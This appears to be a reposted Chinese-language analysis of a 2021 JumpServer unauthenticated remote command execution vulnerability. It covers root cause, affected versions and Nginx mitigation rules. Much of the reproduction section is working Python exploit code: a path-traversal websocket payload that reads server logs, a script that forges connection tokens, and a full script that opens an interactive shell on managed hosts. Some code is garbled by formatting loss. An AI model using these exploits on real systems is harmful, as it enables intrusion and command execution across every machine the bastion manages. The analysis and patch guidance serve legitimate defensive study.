JumpServer遠程執行漏洞分析


 

0x01 漏洞描述

JumpServer 是全球首款完全開源的堡壘機, 使用GNU GPL v2.0 開源協議, 是符合4A 的專業運維審計系統。JumpServer 使用Python / Django 進行開發。2021年1月15日,JumpServer發布更新,修復了一處遠程命令執行漏洞。由於 JumpServer 某些接口未做授權限制,攻擊者可構造惡意請求獲取到日志文件獲取敏感信息,或者執行相關API操作控制其中所有機器,執行任意命令。

0x02 影響版本

< v2.6.2
< v2.5.4
< v2.4.5
= v1.5.9

= v1.5.3

 

安全版本:

= v2.6.2 

= v2.5.4 

= v2.4.5
= v1.5.9 (版本號沒變)
< v1.5.3

 

0x03 漏洞原理

通過版本對比,查看修復的地方。主要的變更如下:
1.增加了認證

刪除了一段權限獲取的代碼

通過對代碼的分析,漏洞為一處未授權訪問的漏洞,通過構造數據包,可以繞過相關的認證。
在新的代碼更新中又增加了jms_check_attack.sh腳本

腳本的目的是檢測網站是否被入侵,通過篩選gunicorn.log中的/connection-token/?token=是否請求成功來判斷是否被入侵,我通過對代碼的審計,包含/connection-token/?token=的請求是攻擊者可以生成臨時token的操作。

對漏洞的分析,我們發現在觸發日志操作后,可以看到websocket請求。

通過請求,我們對照路由進行追蹤,找到web請求的路由設置

繼續追蹤ws.TaskLogWebsocket

receive方法可以獲取task_id的值

connect方法沒有任意認證,之后在receive方法的接收數據的時候對log_type進行了定義。

get_celery_task_log_path的定義,對讀取文件的后綴進行了定義為.log類型。


之后我們定位找到了read_log_file方法

到這里我們就可以通過websocket的未授權連接來通過讀取日志中的敏感信息
之后發現在獲取了相關的敏感信息后,我們是可以進行命令執行的。對前面提到的驗證腳本進行分析,發現url中的connection-token 是在koko里面寫的,是和Core交互的接口。

然后對TokenAssetURL的流程進行跟蹤,發現在GetTokenAsset方法中使用了這個常量。

而processTokenWebsocket方法中調用了這個方法。

之后websocketHandlers方法調用了processTokenWebsocket,同時在定義websocketHandlers方法的時候,沒有對/token的路由進行認證。而調用的processTokenWebsocket可以通過傳入的target_id運行runTTY,可以獲得可以交互的命令行。


之后我們需要做的就是生成一個target_id,也就是task_id。分析代碼更新的第二處,原來的代碼apps\authentication\api\auth.py
可以生成可以生成一個20s的 cache token。


這里構造臨時token需要user,asset,system_user三個參數就可以,結合前面日志敏感信息的泄露,可以直接獲得這三個參數。有了生成的token,可以通過構造惡意請求,可以獲得一個命令行來執行命令。

0x04 漏洞復現

    搭建環境,這個環境確實按照官方給的腳本不容易搭建,而且對於機器的要求比較高,可以下載官方的dockerfile,自己構建。


涉及到websocket通信,除了可以用腳本寫以外,可以使用chrome瀏覽器的websocket-test-client插件進行webscocket請求測試。
1.復現日志的讀取,這里通過參數來讀取jumpserver.log {"task":"/opt/jumpserver/logs/jumpserver"}

通過taskid進行查詢 {"task":"a399d8ab-b018-4a8c-9ae9-a2c0449b77c8"}

也可以參考其他師傅的腳本,通過腳本的方式進行websocket通信。

import websocket 
import json 
import sys

def ws_open(ws): 
print("open") 
ws.send('{"task":"../../../../../../../../../../../opt/jumpserver/logs/jumpserver"}') 
def ws_readlogs(ws, message): 
print(json.loads(message)["message"])

if name == "main": 
websocket.enableTrace(True) 
ws = websocket.WebSocketApp("ws://"+sys.argv[1]+"/ws/ops/tasks/log/",on_message = ws_readlogs, on_error = None, on_close = None) 
ws.on_open = ws_open 
ws.run_forever() 

  




2.復現命令執行
首先,生成臨時token,構造生成token的請求可以通過日志的泄露。


其實主要是獲取api/v1/perms/asset-permissions/user/validate 請求中的信息

通過構造請求,生成臨時token。

import requests 
import json 
data={"user":"44922e13-924d-4237-9470-88d9e7d09405","asset":"e7274615-bba6-42d1-a398-d569f7f45e67","system_user":"f12e9db4-eaff-4b59-8509-766946d2e937"} 
url_host='http://192.168.27.138:8080' 
def get_token(): 
url = url_host+'/api/v1/users/connection-token/?user-only=1' 
response = requests.post(url, json=data).json() 
print(response) 
return response['token'] 
if name == 'main': 
get_token() 


利用生成的token,可以進行連接。

把整個過程使用代碼進行利用。 

import os 
import asyncio 
import aioconsole 
import websockets 
import requests 
import json 
url = "/api/v1/authentication/connection-token/?user-only=1"

#讀取日志信息
def get_celery_task_log_path(task_id): 
task_id = str(task_id) 
rel_path = os.path.join(task_id[0], task_id[1], task_id + ".log") 
path = os.path.join("/opt/jumpserver/", rel_path) 
return path 
async def send_msg(websocket, _text): 
if _text == "exit": 
print(f'you have enter "exit", goodbye') 
await websocket.close(reason="user exit") 
return False 
await websocket.send(_text) 
async def send_loop(ws, session_id): 
while True: 
cmdline = await aioconsole.ainput() 
await send_msg(ws,json.dumps({"id": session_id, "type": "TERMINAL_DATA", "data": cmdline + "\n"}),) 
async def recv_loop(ws): 
while True: 
recv_text = await ws.recv() 
ret = json.loads(recv_text) 
if ret.get("type", "TERMINAL_DATA"): 
await aioconsole.aprint(ret["data"], end="")

#客戶端
async def main_logic(): 
print("####start ws") 
async with websockets.connect(target) as client: 
recv_text = await client.recv() 
print(f"{recv_text}") 
session_id = json.loads(recv_text)["id"] 
print("get ws id:" + session_id) 
print("-"60) 
print("init ws") 
print("-"60) 
inittext = json.dumps( 
{ 
"id": session_id, 
"type": "TERMINAL_INIT", 
"data": '{"cols":164,"rows":17}', 
} 
) 
await send_msg(client, inittext) 
await asyncio.gather(recv_loop(client), send_loop(client, session_id)) 
if name == "main": 
url_vul = "http://192.168.27.138:8080" 
if url_vul[-1] == "/": 
url_vul = url_vul[:-1] 
print(url_vul) 
data = { 
"user": "44922e13-924d-4237-9470-88d9e7d09405", 
"asset": "e7274615-bba6-42d1-a398-d569f7f45e67", 
"system_user": "f12e9db4-eaff-4b59-8509-766946d2e937", 
} 
print("-"60) 
print("get token url:%s" % (host + url,)) 
print("-"60) 
res = requests.post(url_vul + url, json=data) 
token = res.json()["token"] 
print("token:%s", (token,)) 
print("-"*60) 
target = ("ws://" + url_vul.replace("http://", "") + "/koko/ws/token/?target_id=" + token) 
print("target ws:%s" % (target,)) 
asyncio.get_event_loop().run_until_complete(main_logic()) 

  

0x05 漏洞修復

將JumpServer升級至安全版本;
臨時修復方案:
修改 Nginx 配置文件屏蔽漏洞接口
/api/v1/authentication/connection-token/
/api/v1/users/connection-token/

Nginx 配置文件位置

社區老版本

/etc/nginx/conf.d/jumpserver.conf

企業老版本

jumpserver-release/nginx/http_server.conf

新版本在

jumpserver-release/compose/config_static/http_server.conf

修改 Nginx 配置文件實例

保證在 /api 之前 和 / 之前

location /api/v1/authentication/connection-token/ {
return 403;
}

location /api/v1/users/connection-token/ {
return 403;
}

新增以上這些

location /api/ {
proxy_set_header X-Real-IP remoteaddr;proxysetheaderHosthost;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_pass http://core:8080;
}

...

修改完成后重啟 nginx
docker方式:
docker restart jms_nginx

nginx方式:
systemctl restart nginx


參考鏈接:
https://github.com/jumpserver/jumpserver
https://blog.riskivy.com/jumpserver-%e4%bb%8e%e4%bf%a1%e6%81%af%e6%b3%84%e9%9c%b2%e5%88%b0%e8%bf%9c%e7%a8%8b%e4%bb%a3%e7%a0%81%e6%89%a7%e8%a1%8c%e6%bc%8f%e6%b4%9e%e5%88%86%e6%9e%90/
https://articles.zsxq.com/id_5raonmuwqrru.html


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM